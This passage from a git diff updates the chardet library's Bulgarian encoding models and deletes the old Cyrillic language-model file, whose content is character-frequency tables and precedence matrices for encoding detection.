'ц' + 231: 21, # 'ч' + 232: 27, # 'ш' + 233: 24, # 'щ' + 234: 17, # 'ъ' + 235: 75, # 'ы' + 236: 52, # 'ь' + 237: 241, # 'э' + 238: 42, # 'ю' + 239: 16, # 'я' + 240: 62, # '№' + 241: 242, # 'ё' + 242: 243, # 'ђ' + 243: 244, # 'ѓ' + 244: 58, # 'є' + 245: 245, # 'ѕ' + 246: 98, # 'і' + 247: 246, # 'ї' + 248: 247, # 'ј' + 249: 248, # 'љ' + 250: 249, # 'њ' + 251: 250, # 'ћ' + 252: 251, # 'ќ' + 253: 91, # '§' + 254: 252, # 'ў' + 255: 253, # 'џ' } -Win1251BulgarianModel = { - 'char_to_order_map': win1251BulgarianCharToOrderMap, - 'precedence_matrix': BulgarianLangModel, - 'typical_positive_ratio': 0.969392, - 'keep_english_letter': False, - 'charset_name': "windows-1251", - 'language': 'Bulgarian', +ISO_8859_5_BULGARIAN_MODEL = SingleByteCharSetModel(charset_name='ISO-8859-5', + language='Bulgarian', + char_to_order_map=ISO_8859_5_BULGARIAN_CHAR_TO_ORDER, + language_model=BULGARIAN_LANG_MODEL, + typical_positive_ratio=0.969392, + keep_ascii_letters=False, + alphabet='АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЬЮЯабвгдежзийклмнопрстуфхцчшщъьюя') + +WINDOWS_1251_BULGARIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 77, # 'A' + 66: 90, # 'B' + 67: 99, # 'C' + 68: 100, # 'D' + 69: 72, # 'E' + 70: 109, # 'F' + 71: 107, # 'G' + 72: 101, # 'H' + 73: 79, # 'I' + 74: 185, # 'J' + 75: 81, # 'K' + 76: 102, # 'L' + 77: 76, # 'M' + 78: 94, # 'N' + 79: 82, # 'O' + 80: 110, # 'P' + 81: 186, # 'Q' + 82: 108, # 'R' + 83: 91, # 'S' + 84: 74, # 'T' + 85: 119, # 'U' + 86: 84, # 'V' + 87: 96, # 'W' + 88: 111, # 'X' + 89: 187, # 'Y' + 90: 115, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 65, # 'a' + 98: 69, # 'b' + 99: 70, # 'c' + 100: 66, # 'd' + 101: 63, # 'e' + 102: 68, # 'f' + 103: 112, # 'g' + 104: 103, # 'h' + 105: 92, # 'i' + 106: 194, # 'j' + 107: 104, # 'k' + 108: 95, # 'l' + 109: 86, # 'm' + 110: 87, # 'n' + 111: 71, # 'o' + 112: 116, # 'p' + 113: 195, # 'q' + 114: 85, # 'r' + 115: 93, # 's' + 116: 97, # 't' + 117: 113, # 'u' + 118: 196, # 'v' + 119: 197, # 'w' + 120: 198, # 'x' + 121: 199, # 'y' + 122: 200, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 206, # 'Ђ' + 129: 207, # 'Ѓ' + 130: 208, # '‚' + 131: 209, # 'ѓ' + 132: 210, # '„' + 133: 211, # '…' + 134: 212, # '†' + 135: 213, # '‡' + 136: 120, # '€' + 137: 214, # '‰' + 138: 215, # 'Љ' + 139: 216, # '‹' + 140: 217, # 'Њ' + 141: 218, # 'Ќ' + 142: 219, # 'Ћ' + 143: 220, # 'Џ' + 144: 221, # 'ђ' + 145: 78, # '‘' + 146: 64, # '’' + 147: 83, # '“' + 148: 121, # '”' + 149: 98, # '•' + 150: 117, # '–' + 151: 105, # '—' + 152: 222, # None + 153: 223, # '™' + 154: 224, # 'љ' + 155: 225, # '›' + 156: 226, # 'њ' + 157: 227, # 'ќ' + 158: 228, # 'ћ' + 159: 229, # 'џ' + 160: 88, # '\xa0' + 161: 230, # 'Ў' + 162: 231, # 'ў' + 163: 232, # 'Ј' + 164: 233, # '¤' + 165: 122, # 'Ґ' + 166: 89, # '¦' + 167: 106, # '§' + 168: 234, # 'Ё' + 169: 235, # '©' + 170: 236, # 'Є' + 171: 237, # '«' + 172: 238, # '¬' + 173: 45, # '\xad' + 174: 239, # '®' + 175: 240, # 'Ї' + 176: 73, # '°' + 177: 80, # '±' + 178: 118, # 'І' + 179: 114, # 'і' + 180: 241, # 'ґ' + 181: 242, # 'µ' + 182: 243, # '¶' + 183: 244, # '·' + 184: 245, # 'ё' + 185: 62, # '№' + 186: 58, # 'є' + 187: 246, # '»' + 188: 247, # 'ј' + 189: 248, # 'Ѕ' + 190: 249, # 'ѕ' + 191: 250, # 'ї' + 192: 31, # 'А' + 193: 32, # 'Б' + 194: 35, # 'В' + 195: 43, # 'Г' + 196: 37, # 'Д' + 197: 44, # 'Е' + 198: 55, # 'Ж' + 199: 47, # 'З' + 200: 40, # 'И' + 201: 59, # 'Й' + 202: 33, # 'К' + 203: 46, # 'Л' + 204: 38, # 'М' + 205: 36, # 'Н' + 206: 41, # 'О' + 207: 30, # 'П' + 208: 39, # 'Р' + 209: 28, # 'С' + 210: 34, # 'Т' + 211: 51, # 'У' + 212: 48, # 'Ф' + 213: 49, # 'Х' + 214: 53, # 'Ц' + 215: 50, # 'Ч' + 216: 54, # 'Ш' + 217: 57, # 'Щ' + 218: 61, # 'Ъ' + 219: 251, # 'Ы' + 220: 67, # 'Ь' + 221: 252, # 'Э' + 222: 60, # 'Ю' + 223: 56, # 'Я' + 224: 1, # 'а' + 225: 18, # 'б' + 226: 9, # 'в' + 227: 20, # 'г' + 228: 11, # 'д' + 229: 3, # 'е' + 230: 23, # 'ж' + 231: 15, # 'з' + 232: 2, # 'и' + 233: 26, # 'й' + 234: 12, # 'к' + 235: 10, # 'л' + 236: 14, # 'м' + 237: 6, # 'н' + 238: 4, # 'о' + 239: 13, # 'п' + 240: 7, # 'р' + 241: 8, # 'с' + 242: 5, # 'т' + 243: 19, # 'у' + 244: 29, # 'ф' + 245: 25, # 'х' + 246: 22, # 'ц' + 247: 21, # 'ч' + 248: 27, # 'ш' + 249: 24, # 'щ' + 250: 17, # 'ъ' + 251: 75, # 'ы' + 252: 52, # 'ь' + 253: 253, # 'э' + 254: 42, # 'ю' + 255: 16, # 'я' } + +WINDOWS_1251_BULGARIAN_MODEL = SingleByteCharSetModel(charset_name='windows-1251', + language='Bulgarian', + char_to_order_map=WINDOWS_1251_BULGARIAN_CHAR_TO_ORDER, + language_model=BULGARIAN_LANG_MODEL, + typical_positive_ratio=0.969392, + keep_ascii_letters=False, + alphabet='АБВГДЕЖЗИЙКЛМНОПРСТУФХЦЧШЩЪЬЮЯабвгдежзийклмнопрстуфхцчшщъьюя') + diff --git a/thirdparty/chardet/langcyrillicmodel.py b/thirdparty/chardet/langcyrillicmodel.py deleted file mode 100644 index e5f9a1fd19c..00000000000 --- a/thirdparty/chardet/langcyrillicmodel.py +++ /dev/null @@ -1,333 +0,0 @@ -######################## BEGIN LICENSE BLOCK ######################## -# The Original Code is Mozilla Communicator client code. -# -# The Initial Developer of the Original Code is -# Netscape Communications Corporation. -# Portions created by the Initial Developer are Copyright (C) 1998 -# the Initial Developer. All Rights Reserved. -# -# Contributor(s): -# Mark Pilgrim - port to Python -# -# This library is free software; you can redistribute it and/or -# modify it under the terms of the GNU Lesser General Public -# License as published by the Free Software Foundation; either -# version 2.1 of the License, or (at your option) any later version. -# -# This library is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# Lesser General Public License for more details. -# -# You should have received a copy of the GNU Lesser General Public -# License along with this library; if not, write to the Free Software -# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA -# 02110-1301 USA -######################### END LICENSE BLOCK ######################### - -# KOI8-R language model -# Character Mapping Table: -KOI8R_char_to_order_map = ( -255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 -253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 -252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 -253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 -155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 -253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 - 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 -191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, # 80 -207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, # 90 -223,224,225, 68,226,227,228,229,230,231,232,233,234,235,236,237, # a0 -238,239,240,241,242,243,244,245,246,247,248,249,250,251,252,253, # b0 - 27, 3, 21, 28, 13, 2, 39, 19, 26, 4, 23, 11, 8, 12, 5, 1, # c0 - 15, 16, 9, 7, 6, 14, 24, 10, 17, 18, 20, 25, 30, 29, 22, 54, # d0 - 59, 37, 44, 58, 41, 48, 53, 46, 55, 42, 60, 36, 49, 38, 31, 34, # e0 - 35, 43, 45, 32, 40, 52, 56, 33, 61, 62, 51, 57, 47, 63, 50, 70, # f0 -) - -win1251_char_to_order_map = ( -255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 -253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 -252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 -253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 -155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 -253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 - 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 -191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, -207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, -223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, -239,240,241,242,243,244,245,246, 68,247,248,249,250,251,252,253, - 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, - 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, - 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, - 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, -) - -latin5_char_to_order_map = ( -255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 -253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 -252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 -253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 -155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 -253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 - 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 -191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, -207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, -223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, - 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, - 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, - 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, - 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, -239, 68,240,241,242,243,244,245,246,247,248,249,250,251,252,255, -) - -macCyrillic_char_to_order_map = ( -255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 -253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 -252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 -253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 -155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 -253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 - 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 - 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, - 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, -191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, -207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, -223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, -239,240,241,242,243,244,245,246,247,248,249,250,251,252, 68, 16, - 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, - 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27,255, -) - -IBM855_char_to_order_map = ( -255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 -253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 -252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 -253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 -155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 -253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 - 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 -191,192,193,194, 68,195,196,197,198,199,200,201,202,203,204,205, -206,207,208,209,210,211,212,213,214,215,216,217, 27, 59, 54, 70, - 3, 37, 21, 44, 28, 58, 13, 41, 2, 48, 39, 53, 19, 46,218,219, -220,221,222,223,224, 26, 55, 4, 42,225,226,227,228, 23, 60,229, -230,231,232,233,234,235, 11, 36,236,237,238,239,240,241,242,243, - 8, 49, 12, 38, 5, 31, 1, 34, 15,244,245,246,247, 35, 16,248, - 43, 9, 45, 7, 32, 6, 40, 14, 52, 24, 56, 10, 33, 17, 61,249, -250, 18, 62, 20, 51, 25, 57, 30, 47, 29, 63, 22, 50,251,252,255, -) - -IBM866_char_to_order_map = ( -255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 -255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 -253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 -252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 -253,142,143,144,145,146,147,148,149,150,151,152, 74,153, 75,154, # 40 -155,156,157,158,159,160,161,162,163,164,165,253,253,253,253,253, # 50 -253, 71,172, 66,173, 65,174, 76,175, 64,176,177, 77, 72,178, 69, # 60 - 67,179, 78, 73,180,181, 79,182,183,184,185,253,253,253,253,253, # 70 - 37, 44, 33, 46, 41, 48, 56, 51, 42, 60, 36, 49, 38, 31, 34, 35, - 45, 32, 40, 52, 53, 55, 58, 50, 57, 63, 70, 62, 61, 47, 59, 43, - 3, 21, 10, 19, 13, 2, 24, 20, 4, 23, 11, 8, 12, 5, 1, 15, -191,192,193,194,195,196,197,198,199,200,201,202,203,204,205,206, -207,208,209,210,211,212,213,214,215,216,217,218,219,220,221,222, -223,224,225,226,227,228,229,230,231,232,233,234,235,236,237,238, - 9, 7, 6, 14, 39, 26, 28, 22, 25, 29, 54, 18, 17, 30, 27, 16, -239, 68,240,241,242,243,244,245,246,247,248,249,250,251,252,255, -) - -# Model Table: -# total sequences: 100% -# first 512 sequences: 97.6601% -# first 1024 sequences: 2.3389% -# rest sequences: 0.1237% -# negative sequences: 0.0009% -RussianLangModel = ( -0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,1,1,3,3,3,3,1,3,3,3,2,3,2,3,3, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,0,3,2,2,2,2,2,0,0,2, -3,3,3,2,3,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,3,2,3,2,0, -0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,2,2,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,2,3,3,1,0, -0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,2,3,2,3,3,3,3,3,3,3,3,3,3,3,3,3,0,0,3,3,3,3,3,3,3,3,3,3,3,2,1, -0,0,0,0,0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,3,3,0,0,3,3,3,3,3,3,3,3,3,3,3,2,1, -0,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,3,2,2,2,3,1,3,3,1,3,3,3,3,2,2,3,0,2,2,2,3,3,2,1,0, -0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,2,3,3,3,3,3,2,2,3,2,3,3,3,2,1,2,2,0,1,2,2,2,2,2,2,0, -0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,2,2,2,3,0,2,2,3,3,2,1,2,0, -0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,2,3,3,1,2,3,2,2,3,2,3,3,3,3,2,2,3,0,3,2,2,3,1,1,1,0, -0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,3,2,2,3,3,3,3,3,2,3,3,3,3,2,2,2,0,3,3,3,2,2,2,2,0, -0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,3,3,3,2,3,2,3,3,3,3,3,3,2,3,2,2,0,1,3,2,1,2,2,1,0, -0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,3,3,3,3,2,1,1,3,0,1,1,1,1,2,1,1,0,2,2,2,1,2,0,1,0, -0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,2,3,3,2,2,2,2,1,3,2,3,2,3,2,1,2,2,0,1,1,2,1,2,1,2,0, -0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,3,3,3,3,3,3,2,2,3,2,3,3,3,2,2,2,2,0,2,2,2,2,3,1,1,0, -0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, -3,2,3,2,2,3,3,3,3,3,3,3,3,3,1,3,2,0,0,3,3,3,3,2,3,3,3,3,2,3,2,0, -0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,3,3,3,3,3,2,2,3,3,0,2,1,0,3,2,3,2,3,0,0,1,2,0,0,1,0,1,2,1,1,0, -0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,0,3,0,2,3,3,3,3,2,3,3,3,3,1,2,2,0,0,2,3,2,2,2,3,2,3,2,2,3,0,0, -0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,2,3,0,2,3,2,3,0,1,2,3,3,2,0,2,3,0,0,2,3,2,2,0,1,3,1,3,2,2,1,0, -0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,1,3,0,2,3,3,3,3,3,3,3,3,2,1,3,2,0,0,2,2,3,3,3,2,3,3,0,2,2,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,2,2,3,3,2,2,2,3,3,0,0,1,1,1,1,1,2,0,0,1,1,1,1,0,1,0, -0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,2,2,3,3,3,3,3,3,3,0,3,2,3,3,2,3,2,0,2,1,0,1,1,0,1,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,3,2,3,3,3,2,2,2,2,3,1,3,2,3,1,1,2,1,0,2,2,2,2,1,3,1,0, -0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, -2,2,3,3,3,3,3,1,2,2,1,3,1,0,3,0,0,3,0,0,0,1,1,0,1,2,1,0,0,0,0,0, -0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,2,2,1,1,3,3,3,2,2,1,2,2,3,1,1,2,0,0,2,2,1,3,0,0,2,1,1,2,1,1,0, -0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,2,3,3,3,3,1,2,2,2,1,2,1,3,3,1,1,2,1,2,1,2,2,0,2,0,0,1,1,0,1,0, -0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,3,3,3,3,3,2,1,3,2,2,3,2,0,3,2,0,3,0,1,0,1,1,0,0,1,1,1,1,0,1,0, -0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,2,3,3,3,2,2,2,3,3,1,2,1,2,1,0,1,0,1,1,0,1,0,0,2,1,1,1,0,1,0, -0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0, -3,1,1,2,1,2,3,3,2,2,1,2,2,3,0,2,1,0,0,2,2,3,2,1,2,2,2,2,2,3,1,0, -0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,3,3,3,3,1,1,0,1,1,2,2,1,1,3,0,0,1,3,1,1,1,0,0,0,1,0,1,1,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,1,3,3,3,2,0,0,0,2,1,0,1,0,2,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,0,1,0,0,2,3,2,2,2,1,2,2,2,1,2,1,0,0,1,1,1,0,2,0,1,1,1,0,0,1,1, -1,0,0,0,0,0,1,2,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0, -2,3,3,3,3,0,0,0,0,1,0,0,0,0,3,0,1,2,1,0,0,0,0,0,0,0,1,1,0,0,1,1, -1,0,1,0,1,2,0,0,1,1,2,1,0,1,1,1,1,0,1,1,1,1,0,1,0,0,1,0,0,1,1,0, -2,2,3,2,2,2,3,1,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,0,1,0,1,1,1,0,2,1, -1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1,0, -3,3,3,2,2,2,2,3,2,2,1,1,2,2,2,2,1,1,3,1,2,1,2,0,0,1,1,0,1,0,2,1, -1,1,1,1,1,2,1,0,1,1,1,1,0,1,0,0,1,1,0,0,1,0,1,0,0,1,0,0,0,1,1,0, -2,0,0,1,0,3,2,2,2,2,1,2,1,2,1,2,0,0,0,2,1,2,2,1,1,2,2,0,1,1,0,2, -1,1,1,1,1,0,1,1,1,2,1,1,1,2,1,0,1,2,1,1,1,1,0,1,1,1,0,0,1,0,0,1, -1,3,2,2,2,1,1,1,2,3,0,0,0,0,2,0,2,2,1,0,0,0,0,0,0,1,0,0,0,0,1,1, -1,0,1,1,0,1,0,1,1,0,1,1,0,2,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0, -2,3,2,3,2,1,2,2,2,2,1,0,0,0,2,0,0,1,1,0,0,0,0,0,0,0,1,1,0,0,2,1, -1,1,2,1,0,2,0,0,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0, -3,0,0,1,0,2,2,2,3,2,2,2,2,2,2,2,0,0,0,2,1,2,1,1,1,2,2,0,0,0,1,2, -1,1,1,1,1,0,1,2,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1, -2,3,2,3,3,2,0,1,1,1,0,0,1,0,2,0,1,1,3,1,0,0,0,0,0,0,0,1,0,0,2,1, -1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,0,0,0,0,0,0,1,0, -2,3,3,3,3,1,2,2,2,2,0,1,1,0,2,1,1,1,2,1,0,1,1,0,0,1,0,1,0,0,2,0, -0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,3,3,3,2,0,0,1,1,2,2,1,0,0,2,0,1,1,3,0,0,1,0,0,0,0,0,1,0,1,2,1, -1,1,2,0,1,1,1,0,1,0,1,1,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0, -1,3,2,3,2,1,0,0,2,2,2,0,1,0,2,0,1,1,1,0,1,0,0,0,3,0,1,1,0,0,2,1, -1,1,1,0,1,1,0,0,0,0,1,1,0,1,0,0,2,1,1,0,1,0,0,0,1,0,1,0,0,1,1,0, -3,1,2,1,1,2,2,2,2,2,2,1,2,2,1,1,0,0,0,2,2,2,0,0,0,1,2,1,0,1,0,1, -2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,2,1,1,1,0,1,0,1,1,0,1,1,1,0,0,1, -3,0,0,0,0,2,0,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,1,0,1, -1,1,0,0,1,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1, -1,3,3,2,2,0,0,0,2,2,0,0,0,1,2,0,1,1,2,0,0,0,0,0,0,0,0,1,0,0,2,1, -0,1,1,0,0,1,1,0,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0, -2,3,2,3,2,0,0,0,0,1,1,0,0,0,2,0,2,0,2,0,0,0,0,0,1,0,0,1,0,0,1,1, -1,1,2,0,1,2,1,0,1,1,2,1,1,1,1,1,2,1,1,0,1,0,0,1,1,1,1,1,0,1,1,0, -1,3,2,2,2,1,0,0,2,2,1,0,1,2,2,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1, -0,0,1,1,0,1,1,0,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0, -1,0,0,1,0,2,3,1,2,2,2,2,2,2,1,1,0,0,0,1,0,1,0,2,1,1,1,0,0,0,0,1, -1,1,0,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0, 